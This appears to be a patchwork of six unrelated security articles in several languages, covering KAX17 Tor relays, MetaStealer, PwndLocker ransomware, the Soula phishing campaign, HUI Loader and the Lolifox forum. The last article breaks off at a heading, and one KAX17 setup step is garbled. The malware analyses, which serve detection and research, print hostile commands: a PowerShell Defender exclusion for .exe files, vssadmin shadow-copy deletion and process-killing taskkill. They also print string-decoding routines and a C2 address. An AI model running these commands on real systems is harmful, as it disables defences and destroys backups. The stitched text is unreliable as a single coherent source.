After I reported the exit relays (at the time I did not know they were part of KAX17), they got removed in October 2020, but I do not believe that halted their exit operations completely. Coincidentally, a new large no-name exit relay group was born the day after their removal. That new group is not included in the figure because it cannot be attributed to KAX17 using the same strong indicator.
To provide a worst-case snapshot, on 2020–09–08 KAX17's overall Tor network visibility would allow them to de-anonymize Tor users with the following probabilities:
- First hop probability (guard): 10.34%
- Second hop probability (middle): 24.33%
- Last hop probability (exit): 4.6%
As middle and exit relays are frequently changed, the likelihood to use KAX17's relays increases with Tor usage over time. We have no evidence that they are actually performing de-anonymization attacks, but they are in a position to do so, and the fact that someone runs such a large network fraction of relays “doing things” that ordinary relays cannot do is enough to ring all kinds of alarm bells.
In the course of 2020, large amounts of suspicious non-exit relays joined the network and were reported to the Tor Project, but since they no longer got removed, I sent them to the public tor-talk mailing list as their capacity continued to increase.
## The Unexpected Hint Towards a Better Understanding of the Mystery
At the time (2020), I had no strong linkability indicators for these large sets of non-exit relays to the KAX17 actor - that changed a few weeks ago (fall 2021), when a reader of this blog reached out to share their notes about a suspicious group of relays. We independently verified and reproduced their observations on a technical level. When put into the broader context, their hint helped to understand the bigger picture by providing strong indicators that all those relays:
- Are in fact operated by a single entity and
- All of them are actually part of KAX17.
## What is Special About KAX17?
KAX17 is more worrisome than the usual malicious Tor exit relay group because they appear to be rather keen on having a large visibility into non-exit positions of the network (entry guard and middle relay). These positions are useless for the usual malicious actor manipulating and sniffing Tor exit traffic because in these positions no plaintext traffic is available. Actors performing attacks in these non-exit positions are considered more advanced adversaries because these attacks require a higher sophistication level and are less trivial to pull off.
Some parts of this story reminded me of the so-called “relay early” traffic confirmation attack from back in 2014 that combined running malicious relays with active Tor protocol level exploitation to de-anonymize onion services and their users, because that was one of these rare cases where you also got to see attacks involving non-exit relays. Other than that, there is nothing pointing in that direction.
## KAX17's Involvement in Tor-Relays Policy Discussions
When looking over KAX17 relays’ metadata, I repeatedly came across a particular email address. Some of KAX17's relays initially had used that email address in their ContactInfo, but soon after these relays were set up, the email address got removed from their configuration. I also came across this email address on the tor-relays mailing list. Interestingly, it became almost exclusively involved on the mailing list when policy proposals with regards to malicious relays were discussed or when large malicious relay groups got removed. They apparently disliked the proposals to make their activities less effective.
Since everyone can use your email address in their relay’s ContactInfo, that information is not necessarily authentic, but since the email address has been used on KAX17 relays long before it first appeared on the tor-relays mailing list, I guess that was just poor OPSEC on their part.
## Self-defense: Helping Tor Users Help Themselves
It is apparent that Tor users have powerful adversaries with a lot of resources at their hands. It is a particularly uncomfortable situation to be in, knowing some actor has been running large fractions of the Tor network for years and will continue to do so. It is also clear that we cannot detect—let alone get removed—even such large scale relay groups in a timely manner.
KAX17’s operations likely got severely degraded when the Tor directory authorities took actions against them in November 2021, but they already started to restore their foothold, like they did after their first removal in October 2019, so we will need some more sustainable solutions when dealing with malicious relays.
In the past, I have always been reluctant to make Tor client configuration changes that affect path selection because it makes a Tor client theoretically stand out, but in light of the Tor network’s threat landscape, I consider it a reasonable (for some threat model even a necessary) act of self-defense to stop using untrusted relays for certain path positions to reduce the risk of deanonymization and other types of attacks—even if that is a non-default configuration.
To achieve that goal, Tor clients would need to:
1. Configure trusted operators or learn about them via so-called trust anchors.
2. Automatically enumerate all relays of trusted operators.
3. Automatically configure the Tor client to use only trusted relays for certain positions like entry guard and/or exit relay.
The design allows Tor users to assign trust at the operator level and inherits that trust to all the relays an operator manages. This should ensure scalability and be less fragile to changes like when new relays get added or replaced.
## Non-spoofable Operator Identifiers
How do we tackle (2)? The Tor network has no identifiers for relay operators. There is a relay’s ContactInfo string, but using that without any verification scheme is not safe and has been exploited by malicious operators in the past. So we need some operator identifiers that cannot be spoofed arbitrarily by an adversary. Luckily we are not unprepared for that. In 2020, I wrote a specification (CIISS) that allows Tor relay operators to link their relays to their domain/hostname in a verifiable way. That is accomplished using a simple 2-way link from the relay to a domain and from the domain back to a relay. In practice, an operator has to perform two simple steps to link her relay to her domain in a non-spoofable way according to the specification:
1. Add `url:example.com proof:uri-rsa ciissversion:2` to her relay’s ContactInfo.
2. The relay’s fingerprint at the IANA URI.
In the past few months, the proven domain has already been widely implemented by most large exit operators of the Tor relay community, and currently over 50% of the Tor network’s exit capacity is covered.
This provides Tor users with non-spoofable automatically verifiable operator identifiers they can assign trust to. It is important to stress that proven domains are not implicitly trusted; malicious groups can also prove their domain. It is only the first step, an identifier that users can choose to trust. The adoption of the proven operator domain for guard relays is significantly lower (~10% guard probability); until that fraction increases, users could configure a trusted relay as a bridge to reduce their chance of using malicious guards.
## Trusting Operator Domains
Trust in this context means that a relay operator is believed to operate relays without malicious intent. The details of publishing and consuming trust information are laid out in this specification draft: A Simple Web of Trust for Tor Relay Operator IDs. It allows the (optional) dynamic discovery of trusted operators starting from a trust anchor, but it also supports stricter manual-only trust assignments (without recursive discovery)—it is up to the user to decide.
## Proof of Concept Implementation
We’ve implemented a quick and dirty proof of concept of the steps outlined above and are publishing it with this blog post. It is not meant for general use by end-users.
It is implemented as a Python script that talks to the local Tor client via its control port/socket, reads the local file with a list of trusted operator domains, verifies relay/domain proofs (via Tor), and configures the Tor client to use exit relays run by trusted operators only. The list of trusted operators is defined by the user.
We would like to implement an actual serious implementation and we might have an update on that within the next months.
## Summary
- A mysterious actor which we gave the code-name KAX17 has been running large fractions of the Tor network since 2017, despite multiple attempts to remove them from the network during the past years.
- KAX17 has been running relays in all positions of a Tor circuit (guard, middle and exit) across many autonomous systems putting them in a position to de-anonymize some Tor users.
- Their actions and motives are not well understood.
- We found strong indicators that a KAX17 linked email address got involved in Tor-relays mailing list discussions related to fighting malicious relays.
- Detecting and removing malicious Tor relays from the network has become an impractical problem to solve.
- We presented a design and proof of concept implementation towards better self-defense options for Tor clients to reduce their risk from malicious relays without requiring their detection.
- Most of the Tor network’s exit capacity (>50%) supports that design already. More guard relays adopting the proven domain are needed (currently at around 10%).
## Acknowledgements
I’d like to thank the person who provided crucial input towards a better understanding of KAX17's relays. The person asked to remain anonymous. |
# Metastealer – Filling the Racoon Void
**Author:** Peter Gurney
**Date:** May 20, 2022
## tl;dr
MetaStealer is a new information stealer variant designed to fill the void following Racoon stealer suspending operations in March of this year. Analysts at Israeli dark web intelligence firm Kela first identified its emergence on underground marketplaces and later as being used in a spam campaign by SANS Internet Storm Centre Handler Brad Duncan, where the initial stages and traffic were detailed. This analysis further describes the final MetaStealer payload detailing its functionality.
### Significant findings include:
- Heavy reliance on open-source libraries
- Microsoft Defender Bypass
- Scheduled Task Persistence
- Password Stealer
- Keylogger
- Hidden VNC server
## Technical Analysis
### Defender Bypass
Early on in execution, the below command is executed using PowerShell:
```powershell
powershell -inputformat none -outputformat none –NonInteractive -Command Add-MpPreference -ExclusionExtension "exe"
```
This command adds an exclusion rule to Microsoft Defender, effectively turning off scanning of files with ‘.exe’ extension. This decreases the chances of the main payload being detected as well as any subsequent payloads that may be delivered to the target host post-infection.
With the Microsoft Defender exclusion in place, another PowerShell command is issued that proceeds to rename the original file to a hardcoded value with an `.exe` extension. In this case, `{Original filename}.xyz` to `hyper-v.exe`:
```powershell
powershell rename-item -path .xyz -newname hyper-v.exe
```
### Persistence
To maintain persistence, a scheduled task is created using The Component Object Model (COM), a task named `sys` is created in the folder `\Microsoft\Windows`. The task is set to trigger at user login, ensuring the malware remains persistent across reboots.
### String Obfuscation
While several strings from included libraries are visible within the sample, the majority of strings within MetaStealer’s main code are encrypted and only decrypted as needed during runtime. To achieve this, the encrypted strings are moved onto the stack and decrypted with a bitwise XOR operation for use during execution. A Python representation of the routing can be seen below:
```python
def swap32(x):
return int.from_bytes(x.to_bytes(8, byteorder='little'), byteorder='big', signed=False)
def split_hex(input):
text = hex(input)
text = text[2:]
text = text.zfill(len(text) + len(text) % 2)
output = " ".join(text[i: i+2] for i in range(0, len(text), 2))
return(output.split(' '))
hexIntXOR = [0x4BFB9390, 0x25C2F251, 0x11C52ED4, 0x5CEDBB0D]
hexIntKey = [0x2489FBF3, 0x25C2973C, 0x11C52ED4, 0x5CEDBB0D]
hexbytesxor = []
hexbyteskey = []
for HexInt in hexIntXOR:
hexBytes = split_hex(HexInt)
hexBytes.reverse()
hexbytesxor += hexBytes
for HexInt in hexIntKey:
hexBytes = split_hex(HexInt)
hexBytes.reverse()
hexbyteskey += hexBytes
count = 0
for hexByte in hexbytesxor:
print(chr(int(hexByte, base=16) ^ int(hexbyteskey[count], base=16)), end='')
count += 1
```
### Command and Control
PCAPs from the SANS Internet Storm Centre report show that while initial C2 registration traffic was successful, later requests resulted in an HTTP 400 error code reply. Our own tests confirm this behavior indicating this specific campaign was short-lived with commands no longer issued to new infections. This is likely a direct attempt to limit further analysis of the command and control communication protocol by analysts.
The sample contains a hardcoded Command and Control server, in this case, `193.106.191[.]162:1775`, which is decrypted by the standard string decryption routine described earlier. Connection to the command and control infrastructure is performed over HTTP using the library `cpp-httplib`, resulting in the user agent `cpp-httplib/0.10.1` being used. The initial connection is performed to the URL path `/api/client/new`, decrypted using the XOR routine detailed earlier. This connection is simply a GET request with no further information included and expects a reply in JSON format.
The UUID in the `ok` key is used as a `BotId` and changes on each new registration request. To parse the JSON string, another open-source library is utilized (Nlohmann JSON), extracting the BotId, which is subsequently written to the file `%localappdata%\hyper-v.ver` in plaintext allowing the BotId to remain persistent across reboots.
The second request to the command and control server begins with a new JSON object being created utilizing the Nlohmann JSON library. The UUID key is populated with the UUID received from the earlier registration request. The URL path `/tasks/get_worker` is decrypted and used to make a POST request to the command and control server, including the UUID JSON string. At the time of writing, the server replies to this command with an HTTP 400 error code.
The final identified command and control request uses the URL path `/tasks/collect` following the completion of any tasks issued. A POST request is made detailing the success or failure of the task along with additional data such as stolen information or command output.
### Command and Control Commands
| Command ID | Function | Description |
|------------|------------------|-----------------------------------------------------------------------------------------------------------------------|
| 1001 | System Information| Spawn cmd.exe process with the command line system info and read output using attached pipes. |
| 1002 | Cookie Stealer | Access Cookie data from various locations based on the installed version. |
| 1003 | Password Stealer | Access saved password data from various locations. |
| 1004 | Start Keylogger | Start keylogger on Chrome, Firefox, Notepad. |
| 1005 | Stop Keylogger | Stop Keylogger. |
| 1006 | Start HVNC | Setup Hidden Virtual Network Connection by creating a hidden desktop and network connectivity using sockets. |
| 1007 | Stop HVNC | Stop HVNC. |
| 1008 | Execute Command | Execute the given command using a spawned cmd.exe process and read the result using connected pipes. |
## Appendix
### IOC’s
- 193.106.191[.]162:1775
- cpp-httplib/0.10.1
- hyper-v.exe
### YARA Rule
```yara
rule metaStealer_memory {
meta:
description = "MetaStealer Memory"
author = "Peter Gurney"
date = "2022-04-29"
strings:
$str_c2_parse = {B8 56 55 55 55 F7 6D C4 8B C2 C1 E8 1F 03 C2 8B 55 C0 8D 04 40 2B 45 C4}
$str_filename = ".xyz -newname hyper-v.exe" fullword wide
$str_stackstring = {FF FF FF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF}
condition:
uint16(0) == 0x5a4d and
2 of ($str_*)
}
``` |
# PwndLocker Ransomware
## KeyLocker Ransomware
Этот крипто-вымогатель шифрует данные компьютеров сетей городских администраций, государственных служб, предприятий, организаций и пр. с помощью AES, а затем требует выкуп в размере от $175 000 до $660 000 в BTC, чтобы вернуть файлы. Сумма выкупа зависит от размера сети, количества сотрудников и годового дохода "жертвы". Эта информация собирается перед началом атаки. Оригинальное название: file locker (указано в записке). На файле написано: разные названия.
Важно! Оригинальный дешифровщик из-за ошибки не может расшифровать файлы размером более 64 Мб, поэтому уплата выкупа в этом случае бесполезна.
Обнаружения:
- DrWeb: Trojan.Encoder.29865, Trojan.Encoder.30377, Trojan.Siggen9.16872, Trojan.Encoder.31166
- BitDefender: Trojan.Peed.Gen
- ALYac: Trojan.Ransom.PwndLocker
- ESET-NOD32: A Variant Of Win32/Filecoder.OAZ, A Variant Of Win32/Filecoder.PwndLocker.A
- Fortinet: W32/AntiAV!tr
- GData: Win32.Trojan-Ransom.PwndLocker.A
- Kaspersky: HEUR:Trojan.Win32.AntiAV, Trojan-Ransom.Win32.Pwnd.b
- Malwarebytes: Trojan.AntiAV, Ransom.PwndLocker
- McAfee: Downloader-AE
- Qihoo-360: Win32/Trojan.Anti.afe
- Rising: Trojan.AntiAV!8.9C4 (CLOUD), Spyware.POSCardStealer!8.644 (CLOUD)
- Symantec: ML.Attribute.HighConfidence, Trojan Horse, Trojan.Gen.MBT
- TrendMicro: TROJ_GEN.R011C0PLE19, TROJ_FRS.0NA104C220
- VBA32: Trojan.AntiAV
© Генеалогия: PwndLocker > ProLock
К зашифрованным файлам могут добавляться различные расширения: .pwnd, .key.
Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.
Активность этого крипто-вымогателя пришлась на октябрь-декабрь 2019 года и продолжилась в феврале 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Известно о пострадавших в США, Сербии и других странах Европы.
Записка с требованием выкупа называется: H0w_T0_Rec0very_Files.txt
### Содержание записки о выкупе:
Вашу сеть взломали и зашифровали с помощью сильного алгоритма. Резервные копии были удалены или зашифрованы. Никто не может помочь вам восстановить сеть, кроме нас. Не делитесь этой ссылкой или email, иначе нам придется удалить ключи дешифрования. Чтобы вернуть ваши файлы, вы должны заплатить за расшифровку в BTC. Цена зависит от размера сети, количества работников и годового дохода.
Вы должны связаться с нами в течение 2 дней после того, как вы заметили шифрование, чтобы получить хорошую скидку. Ключ дешифрования будет храниться в течение 1 месяца. Цена будет увеличена на 100% через две недели. Мы также собрали ваши конфиденциальные данные. Мы поделимся этим в случае отказа от оплаты. Не переименовывайте и не перемещайте зашифрованные файлы. Расшифровка с использованием сторонних программ невозможна. Попытки самостоятельно расшифровать файлы приведут к потере ваших данных.
### Дополнительное сообщение от вымогателей
Содержание сообщения:
Поздравляю, если вы здесь, вы жертва файлового локера. Для разблокировки файлов, платите. Если хотите сделать тест-разблок, пишите в поддержку.
## Технические детали
Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов.
Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.
Удаляет теневые копии файлов на всех разделах дисков с помощью команд:
```
'%WINDIR%\syswow64\vssadmin.exe' delete shadows /all /quiet
```
Для распространения использует съёмные носители. Для обеспечения автозапуска и распространения создает следующие файлы на съёмном носителе (X - любое имя диска):
- X:\H0w_T0_Rec0very_Files.txt
- X:\delete.avi
- X:\correct.avi
- X:\split.avi
- X:\default.bmp
- X:\dialmap.bmp
- X:\dashborder_192.bmp
- X:\dashborder_120.bmp
- X:\contosoroot.cer
- X:\contoso_1.cer
- X:\sdkfailsafeemulator.cer
- X:\contoso.cer
- X:\testee.cer
- X:\holycrosschurchinstructions.docx
- X:\sdszfo.docx
Запускает на исполнение следующие команды с целью завершения процессов (Process Killer):
```
'%WINDIR%\syswow64\taskkill.exe' /IM firefox.exe /F
```
Среди завершенных процессов есть антивирусные программы: Kaspersky, Symantec, McAfee и другие. Всвязи с этим PwndLocker можно назвать анти-антивирусным вредоносным ПО.
### Список файловых расширений, подвергающихся шифрованию:
Вероятно все или почти все файлы, кроме тех, что находятся в пропускаемых директориях. Это могут быть документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
### При шифровании пропускаются некоторые директории:
- Windows
- Windows Defender
- Windows Mail
- Windows Media Player
- Windows NT
- Windows Photo Viewer
- Windows Portable Devices
- Windows Sidebar
- WindowsApps
- WindowsPowerShell
- $Recycle.Bin (Recycle.Bin)
- Adobe
- All Users
- Common Files
- DVD Maker
- Internet Explorer
- Kaspersky Lab
- Kaspersky Lab Setup Files
- Microsoft
- Mozilla Firefox
- MSBuild
- Packages
- PerfLogs
- System Volume Information
- Temp
- Uninstall Information
### При шифровании пропускаются следующие типы файлов:
.bac, .bak, .bat, .bkf, .chm, .cmd, .dll, .dsk, .exe, .hlf, .ico, .inf, .ini, .lng, .lnk, .msi, .set, .sys, .ttf, .vhd, .wbc, .win (22 расширения). Список может различаться в зависимости от версии.
### Файлы, связанные с этим Ransomware:
- H0w_T0_Rec0very_Files.txt
- <random>.exe
- contoso.cer
- contoso_1.cer
- contosoroot.cer
- correct.avi
- dashborder_XXX.bmp (где XXX - случайное число)
- default.bmp
- delete.avi
- dialmap.bmp
- holycrosschurchinstructions.docx
- sdkfailsafeemulator.cer
- testee.cer
- sdszfo.docx
- split.avi
- lock.xml
### Расположения:
- \Desktop\
- \User_folders\
- \%TEMP%\
- X:\ (X - любое имя локального или внешнего диска)
- C:\Programdata\lock.xml
### Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.
### Степень распространённости: средняя.
Подробные сведения собираются регулярно. Присылайте образцы. |
# Desktop, Mobile Phishing Campaign Targets South Korean Websites, Steals Credentials Via Watering Hole
**Posted on:** March 28, 2019 at 5:02 am
**Posted in:** Bad Sites, Mobile
**Author:** Joseph C Chen (Fraud Researcher)
We discovered a phishing campaign that has compromised at least four South Korean websites – including a business page ranked as one of the most visited sites in the country – by injecting fake login forms to steal user credentials. While we’ve previously seen cybercriminals inject malicious JavaScript code in the websites to load browser exploits or financial information skimmers, using the watering hole technique for a phishing campaign is unusual. The campaign, which we labeled “Soula” (detected by Trend Micro as Trojan.HTML.PHISH.TIAOOHDW), collects information via a spoofed login screen of one of the country’s leading search engines that pops up over the original webpage. It sends the logged credentials to the attackers’ server even without accurate data confirmation, leading us to think that the cybercriminals are at the research and information-gathering stage.
We traced the initial JavaScript injection done on the compromised websites on March 14. The injected script profiles the website’s visitors and loads the phishing forms on top of the main pages. It scans the HTTP referer header string and checks if it contains keywords related to popular search engines and social media sites to authenticate that the visitor is real. Since the HTTP referer identifies the address webpage of the source to the requested page, this check makes it easier to identify the visitor as a real user if the request comes from one, as well as filter out bot crawlers or threat engine scanners.
The script then scans for the HTTP User-Agent header for strings such as iPhone, iPad, iPod, iOS, and Android to identify the device used by the user as desktop or mobile, which allows it to deliver the respective phishing forms to the victim. Mobile users will see the fake login form pop up only after clicking any button on the compromised websites. To mask the malicious routine, it only enables the pop-up to appear after the sixth time the victim visits the websites, setting a cookie to count the number of visits. The cookie is also set to expire after two hours since the last pop-up.
If the device has none of the strings listed, Soula assumes that the user is visiting the website using a desktop computer. Users will see the fake login form directly on top of the compromised webpage, asking the user to input their username and password before they can continue visiting the site. The user information is directly sent to the attackers’ servers. To prevent attack suspicions from the website, the phishing script sets a browser cookie to the devices that received the phishing forms that enables the fake login to expire 12 hours after the initial interaction.
We noted that the comments were set in Simplified Chinese and used Cloudflare to protect their domains and hide their real IP addresses. We contacted Cloudflare after identifying this attack, but while they immediately removed the malicious domain from their service, the campaign did not stop. In fact, the campaign further enhanced its detection evasion features. The attackers added obfuscation to the JavaScript code injected into the compromised websites and moved the scripts and phishing page to a compromised web server to avoid detection and prevent removal of their domain. The websites are no longer compromised at the time of publishing.
## Conclusion
Considering that one of the compromised websites is among the country’s top 300 most-visited sites, and that the search engine hosts a variety of services for its South Korean customers as a trusted site, Soula is a significant threat to both enterprises and users as it exposes user credentials on a number of platforms. Further, the content string it searches for and connects to may indicate cybercriminals’ possible plans to develop this into a bigger campaign that could affect more people worldwide.
While this technique can be more difficult to trace compared to socially engineered phishing attacks, endpoint users can still protect themselves by enabling a multi-layered defense system that allows detection, scanning, and blocking of malicious URLs and pop-ups. Users should also enable additional authentication measures such as 2FA whenever possible. Security administrators are advised to download updates as soon as patches are available from legitimate vendors and enable Content Security Policy to prevent unauthorized access and use of exploits for remotely injected scripts.
## Indicators of Compromise
| SHA256 | Description | Detection |
|-------------------------------------------------|-----------------------------|-------------------------------|
| 03ab41336ff260ec2410ac2704467676284df86 | Soula phishing | |
| 44befce5a0b40773cc570286a | Soula phishing script hash | |
| 29447d09a76f2a7982562a4386529d0af26cd75 | Soula phishing | |
| 6671fd7173d518a34717c2aae | Trojan.HTML.PHISH.TIAOOHDW | |
| 7034c01be6c94ce2d42bbc3c197d0f9678ccb0fc | Soula phishing | |
| c6ba6d0484d6bcf859a6d774 | Soula phishing script hash | |
| b2bc1df018abd4ebc2e2f68fbae09a55bc381736 | Soula phishing | |
| 97171507f8cfef9e7ec39978 | Soula phishing script hash | |
## URLs
- hxxps://oauth2[.]space/ - Phishing domain
- hxxps://oauth20[.]xyz/ - Phishing domain |
# HUI Loaderの分析
## HUI Loaderの概要
攻撃者は、マルウェアの機能を隠蔽するために、マルウェア本体をエンコードし、実行時だけデコードして動作させることがあります。そのような場合、エンコードされたマルウェア本体は、ローダーと呼ばれるプログラムにロードされて実行されます。このように、マルウェアをローダーとエンコードされたマルウェア本体に分割することで、ローダーの機能を最小限にし、マルウェアの重要な機能を隠蔽することで、感染ホスト上で発見することが難しくなります。今回は、このようなローダーの中で、2015年頃から使用されているHUI Loaderについて解説します。
HUI Loaderについては、JSAC2022にて複数の攻撃グループによって使用されていることが指摘されています。JPCERT/CCでも、HUI Loaderを使用した攻撃を2015年頃から確認しています。最初にHUI Loaderの使用が確認されたのは2015年1月頃で、攻撃グループAPT10によって使用されていたことを確認しています。その後、2015年4月頃からは、Blue Termiteによって利用が始まりました。これらの攻撃グループは、以下の3種類のHUI Loaderにロードされるエンコードされたマルウェアを使用していました。なお、Poison IvyおよびQuasarは、オリジナルのものから攻撃者によってカスタマイズされたものでした。
- PlugX
- Poison Ivy
- Quasar
2016年以降は、攻撃グループAPT10に使用されていることを継続的に確認していましたが、2020年6月以降には、攻撃グループA41APTも使用するようになりました。さらに、2021年8月以降は、攻撃グループDEV-0401でも使用が開始されました。マルウェア本体をエンコードする方法は初期から変化はなく、以下のようにデコードすることが可能です。
```python
for i in range(len(enc_data)):
data = ord(enc_data[i]) ^ 0x20 ^ ord(key[i % len(key)])
dec_data.append(data)
```
以降では、これまでに行われた以下のHUI Loaderの機能変更について説明します。
### Persistence
HUI Loaderは、Persistence機能があるものと、ないものが存在します。Persistence機能は、以下の3つのパターンを確認しています。
- サービス
- レジストリ(Runキー)
- スタートアップフォルダー
多くのHUI Loaderは、サービスを登録して、再起動時にサービスとして起動します。サービス名などは、検体ごとで異なります。レジストリから起動するタイプは、2015年頃は確認されましたが、最近の検体ではみられていません。スタートアップフォルダーから起動するタイプは、スタートアップフォルダーにLNKファイルを作成し、ショートカットファイル経由で起動します。
### パスワードのランダム化
2015年頃に確認されたHUI Loaderは、規則性のある文字列をパスワードとしてマルウェア本体をデコードしていました。そのため、複数の検体で同一のパスワードが使われることがよくありました。2016年以降は、パスワードがランダム化されて検体ごとで異なる値が使用されるようになりました。
#### HUI Loaderの使用するパスワード例
| sha256 | creationpassword time |
|--------|----------------------|
| 8efcecc00763ce9269a01d2b5918873144746c4b203be28c92459f5301927961 | 2015-05-21 08:54:24 |
| 421e11a96e810c834dd6b14b515ad7a5401813caa0555ddfb3490c3d82336e | 2015-07-14 02:07:10 |
| beb77e277510c4ff2797a314494606335f158a722cf6533fad62ba5d5789e2d3 | 2015-07-16 11:17:04 |
| 074075eda7dde4396fb8aa441031cf88873b969273a9541f25b15fc35ec5ee49 | 2017-05-24 11:50:56 |
| af223370ff0da3c9a9314dc6bf9cb9d9c3a12e2e3c835643edeedad4b4f908fa | 2017-09-07 09:51:04 |
| c3cb9d0650fcca22a61760fa072336a036a8a5e8eaa61cb72bc4b553a84aedd1 | 2017-09-19 05:03:45 |
### セキュリティ機能の無効化
HUI Loaderの中には、WindowsOSのセキュリティ機能である、Event Tracing for Windows(ETW)およびAntimalware Scan Interface(AMSI)をバイパスすることを目的とするコードを持つものも存在します。AmsiScanBuffer関数および、EtwEventWrite関数の先頭をRETN命令に変更しています。
### 特徴的文字列の削除
HUI Loaderには、検体内に特徴的な文字列が含まれていました。しかし、2021年12月以降は、この文字列を含まない検体も確認しています。
## おわりに
HUI Loaderは、2015年頃から少しずつアップデートが行われつつ、長い間使われているローダーです。今後も、引き続き使用されることが予想されます。今回紹介したHUI LoaderのIoCはGithub上で公開しています。必要に応じてご活用ください。 |
# Lolifox – kto za nim stał i co się z nim stało?
K… co się stało? Czemu Lolifox nie działa? Czy to już koniec?! – takie pytania można było znaleźć w sieci w połowie listopada 2020, po nagłym zniknięciu jednego ze znanych for cyberprzestępczych w Polsce. Przyjrzyjmy się, kto mógł za tym stać.
Lolifox to forum w sieci Tor budzące wiele kontrowersji z uwagi na poruszaną na nim tematykę (przestępczość, ataki hakerskie, pornografia itp.). To tzw. chan, czyli forum obrazkowe (wątki zamieszczane są w formie katalogów). W sieci niejednokrotnie pisano, że nie da się „odzobaczyć” tego, co się na nim przeczyta. O Lolifoxie pisaliśmy już wcześniej. Na jego stronach można było znaleźć instrukcje zainicjowania fałszywego alarmu bombowego, nawoływanie do formowania ruchów anarchistycznych, groźby zabójstwa adresowane do konkretnych polityków, urzędników państwowych czy innych osób publicznych.
W listopadzie 2020 forum niespodziewanie znikło z sieci. Niemożliwe jest, aby skończyły się tematy czy zainteresowanie stroną. Znikło nagle, bez żadnej zapowiedzi czy informacji o zmianie adresu.
Zbiegiem okoliczności (?) zniknięcie Lolifoxa nastąpiło w stosunkowo niedługim czasie po ataku hakerskim w maju 2020 roku na serwer Internetowego Forum Policyjnego (IFP). W ręce przestępców dostały się m.in. loginy, adresy e-mail i zahaszowane hasła użytkowników. To nie pierwszy ani jedyny taki atak w sieci. Jednak ze względu na specyfikę zaatakowanego serwisu sprawa budziła dużo więcej kontrowersji. Nie wiadomo, kiedy dokładnie doszło do ataku, ponieważ nie złapano nikogo za rękę. Administratorzy twierdzili, że o kradzieży danych dowiedzieli się 24 maja 2020 roku. Serwis oficjalnie poinformował o tym fakcie zarówno na Facebooku, jak i w informacji rozesłanej do wszystkich użytkowników.
Wróćmy jednak do samej witryny IFP. Internetowe Forum Policyjne nie było branżowym podwórkiem „niebieskich”. To społeczność składająca się zarówno z policjantów, jak i osób cywilnych. Łącznie 100 tys. użytkowników, strona posiadała 0,5 mln komentarzy. Jednym z głównych atutów forum była anonimowość wypowiedzi. Wpisów można było dokonywać wyłącznie po uprzedniej rejestracji. Publikowano na nim różnego rodzaju informacje dotyczące pracy w policji, proponowanych zmian przepisów, użytkownicy (prawdopodobnie funkcjonariusze) wymieniali się doświadczeniami, radami, narzekali na przełożonych, opisywali ich absurdalne decyzje, a także komentowali decyzje szefów MSWiA. Bardzo często publikowano screeny poufnych policyjnych dokumentów. Po wspomnianym ataku obawiano się, że dane użytkowników wyjdą na jaw – co byłoby bardzo niekorzystne dla wielu użytkowników – wszak na forum często przedstawiano działania policji w bardzo negatywnym świetle. Obecnie strona internetowa IFP nie działa. Zamiast charakterystycznego logo użytkowników witał komunikat: Trwają prace techniczne. Przepraszamy…. To jednak nie była awaria. Administrator forum po ataku rozsyłał do użytkowników mail z informacją o ataku hakerskim, jednak wiadomość ta była wątpliwej treści: Odkryliśmy, że została ujawniona nieokreślona liczba loginów, adresów e-mail oraz zaszyfrowanych haseł użytkowników IFP. Sugerujemy wszystkim użytkownikom natychmiastowe dokonanie zmiany używanych do tej pory haseł, szczególnie, jeśli używają takich samych na innych serwisach internetowych.
Podobna informacja pojawiła się na profilu społecznościowym forum. Policjanci byli zaniepokojeni, bo ich anonimowość stanęła pod znakiem zapytania. W sieci huczało – kto za tym stoi? Media ujawniały kolejne ślady wskazujące na to, że „ciemna strona internetu” mogła mieć udział w ataku. Śledczy policji śląskiej twierdzili, że atak może być zaplanowaną akcją wymierzoną w dane użytkowników IFP.
I znów wracamy do Lolifoxa, gdyż jeden z tropów prowadzi właśnie do jego społeczności. Na kilka dni przed atakiem (20 maja 2020) na tej właśnie grupie dyskusyjnej pojawił się intrygujący wpis. Zamieszczony w tej wiadomości link kierował do plików awatarów Internetowego Forum Policyjnego. Zapis: „byłoby fajnie wyciec bazę i robić wyjebki z kont policjantów” daje też wiele do myślenia.
Już wcześniej na Lolifox pojawiało się sporo „porad”, jak szkodzić organom ścigania. Ten wpis był jednak jednoznaczny. Zamieszczony w wiadomości wspomniany link sugerował, że do systemu awatarów Internetowego Forum Policyjnego przemycono webshell. (Złośliwy fragment kodu napisany w dowolnym języku programowania dołączany do skryptów znajdujących się na serwerze lub stanowiący samodzielny plik. Jego zadaniem jest udostępnienie prostego, tajnego panelu do zarządzania plikami na czyimś serwerze. Tę samą metodę ataku wykorzystano w przypadku Politechniki Warszawskiej.)
Kolejną ciekawostką jest fakt, że na facebookowym profilu Polska Policja na początku maja na krótko pojawił się adres witryny president-soviet.ru. Czemu miała służyć taka informacja? Nie wiadomo. Jednak kojarząc oba fakty można było się domyśleć, że przestępca może być w posiadaniu całej bazy danych IFP, a jednym z użytkowników forum mógł być ktoś z policyjnego zespołu social media.
Jak już wspomniałam, krótko po tym incydencie Lolifox zniknął ze sceny, a ci, którzy go szukali, pisali w sieci, że jeszcze kilka tygodni po tym, że stary link do forum na Torze przekierowuje stronę na archiwum i pojawiają się świeże wpisy. Przypuszczano, że strona żyje, a hakerzy planują kolejne akcje. Czy to możliwe, że znikło bez echa, skoro jego użytkownicy ciągle planowali działalność wywrotową w Polsce?
## Alarmy bombowe
